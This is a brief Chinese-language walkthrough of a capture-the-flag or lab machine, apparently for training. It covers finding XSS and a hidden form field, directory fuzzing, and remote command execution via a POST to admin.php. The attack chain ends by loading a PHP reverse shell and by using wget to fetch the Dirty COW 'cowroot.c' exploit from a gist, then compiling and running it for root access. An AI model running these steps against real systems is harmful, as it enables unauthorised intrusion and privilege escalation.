You name 存在XSS 漏洞
右键源码有隐藏form表单
修改其type属性为：text
尝试了SQL注入貌似无注入
wfuzz 下目录试试

You need to know it's your actions that will show you the light.
我们尝试POST数据到admin.php接口
看到这个界面，试试能不能执行系统命令
不知道没执行还是没回显到前台来，我们尝试把参数加到boday中去
POST /admin.php HTTP/1.1

看来RCE是可以执行的，我们尝试下载远程php-resver.php 试试
http://10.10.202.140/php-reverse.php
进行提权操作：
$ wget https://gist.githubusercontent.com/rverton/e9d4ff65d703a9084e85fa9df083c679/raw/9b1b5053e72a58b40b28d6799cf7979c53480715/cowroot.c
$ gcc cowroot.c -o cowroot -pthread
$ ./cowroot
完结！
